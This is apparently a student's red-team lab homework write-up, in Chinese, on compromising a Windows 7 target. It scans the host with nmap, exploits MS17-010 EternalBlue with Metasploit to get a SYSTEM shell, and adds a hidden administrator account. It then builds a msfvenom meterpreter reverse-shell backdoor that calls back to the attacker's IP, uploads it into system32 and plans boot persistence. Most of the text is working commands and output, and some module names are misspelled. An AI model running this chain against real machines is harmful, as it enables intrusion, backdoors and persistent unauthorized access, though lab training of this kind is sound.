---
# System prepended metadata

title: 0508-Red-Team-Mission2-HW
tags: [0508-Red-Team-Mission2-HW]

---

---
title: 0508-Red-Team-Mission2-HW       # 簡報的名稱
tags: 0508-Red-Team-Mission2-HW        # 簡報的標籤
# slideOptions:
  # spotlight:
    # enabled: true
---

{%hackmd theme-dark %}

# 0508-Red-Team-Mission2-HW
### Jeff
### 靶機10.99.62.100

## 任務2

### 1. 基本掃描
- [x] 完成

* nmap掃描
```c=
nmap -p445 --script=safe -oN 445.vuln -v 10.99.62.100
```
* 掃描結果
```c=
Nmap scan report for 10.99.62.100
Host is up (0.00020s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)

Host script results:
|_clock-skew: mean: -2h39m51s, deviation: 4h37m07s, median: 7s
|_fcrdns: FAIL (No PTR record)
|_msrpc-enum: NT_STATUS_ACCESS_DENIED
| nbstat: NetBIOS name: WIN-6GUSD5LHLVR, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9b:bc:05 (VMware)
| smb-os-discovery:
|   OS: Windows 7 Enterprise 7601 Service Pack 1 (Windows 7 Enterprise 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: WIN-6GUSD5LHLVR
|   NetBIOS computer name: WIN-6GUSD5LHLVR\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-05-07T06:31:30+08:00
| smb-protocols:
dialects:
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.02
|_    2.10
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| 
|_  WARNING: this script depends on Nmap's service/version detection (-sV)
```
#### 靶機基本資訊：
* OS: Windows 7 Enterprise 7601 Service Pack 1 (Windows 7 Enterprise 6.1)
* OS CPE: cpe:/o:microsoft:windows_7::sp1
* Computer name: WIN-6GUSD5LHLVR
#### 漏洞發現：
* 發現有smb-vuln-ms17-010漏洞

[參考資料-smb-vuln-ms17-010](https://www.twblogs.net/a/5d405f51bd9eee51fbf992e1)

### 2. 驗證漏洞
- [x] 完成
* 使用 msfconsole
    * 使用scanner模組
        ```c=
        use scanner/smb/smb_ms17_0101
        set rhosts 10.99.62.100
        ```
        ![](https://i.imgur.com/fGFQMtd.jpg)
    *  發現漏洞確實存在 => 使用exploit模組
        ```c=
        use exploit/wnidows/smb/ms17_010_eternblue
        show options => 設定參數
        ```

### 3. Exploit
- [x] 完成
* 拿shell => 兩種方法
    1. 直接透過ms17-010拿shell 
    ![](https://i.imgur.com/s5qgLez.jpg)

    2. 透過ms17-010 payload拿到meterpreter後，再拿shell
    ```c=
    set payload windows/x64/meterpreter/reverse_tcp
    exploit
    meterpreter > shell
    ```
    ![](https://i.imgur.com/tuvrdSK.jpg)

    * 法一、二的差異：只差在法二需要再設定payload，其他都一樣
    * 建議使用法二，因為後面階段需要產生後門，還需要meterpreter的handler監聽
    * 若單純只是要新建立使用者帳號，用法一比較快。因為拿到shell後就可以直接透過nt authority\system 建立自己的帳號


* [ms17-010漏洞原理](https://blog.csdn.net/qq_27446553/article/details/73480807) => TODO
### 4. 創建個人帳號
- [x] 完成
* 創建個人帳號
    ```c=
    net user jeff jeff /add
    ```
* 加入admin群組
    ```c=
    net localgroup administrators jeff /add
    ```
* 看系統上有哪些使用者？ => 可以列舉使用者帳號，供暴力破解密碼使用
    ```c=
    net user
    ```
### 5. 建立一個惡意回連系統
- [x] 完成 
* (1) 透過msfvenom設定reverse shell
    ```c=
    msfvenom -p windows/meterpreter/reverse_tcp lhost=10.99.62.253 lport=9999 -f exe > /tmp/jeff_backdoor.exe
    ```
    * -p
        * payload(要使用的payload)
        * msfvenom --list payloads
            * 查看所有payloads
    * lhost=ip
        * local host(攻擊端的IP)
    * lport=port
        * local port(攻擊端的監聽port)
    * -f
        * format(輸出格式)e.g. windows就使exe
        * msfvenom --list formats
            * 查看所有輸出格式
* (2) 上傳到靶機
    ```c=
    upload /tmp/jeff_backdoor.exe C:\\windows\\system32
    ```
    ![](https://i.imgur.com/pesVStQ.jpg)

    * 注意上傳權限問題
    ![](https://i.imgur.com/HttxVgM.jpg)

* (3) msfconsole 設定handler => 攻擊端開始監聽
    ```c=
    msfconsole -q
    use /exploit/multi/handler
    set lhost 10.99.62.253
    set lport 9999
    run
    ```
    * 若靶機執行後門程式，則會回連到攻擊者系統

* (4) 靶機上出現剛剛上傳的jeff_backdoor.exe => 執行它（模擬被植入惡意程式之執行行為）
    ![](https://i.imgur.com/A74gKsy.jpg)
* (5) 後門程式連線成功 =>拿到shell(即靶機上的使用者若不小心執行此程式，則攻擊端會取得該電腦的使用權) 
    ![](https://i.imgur.com/qgDX5NM.jpg)

    [參考資料-how to execute .exe in cmd](https://www.techwalla.com/articles/how-to-run-exe-files-in-cmd)
* (6) 後續：可以把後門程式放在開機的時候執行，如此一來，拿shell會更加便利。
- [ ] 完成 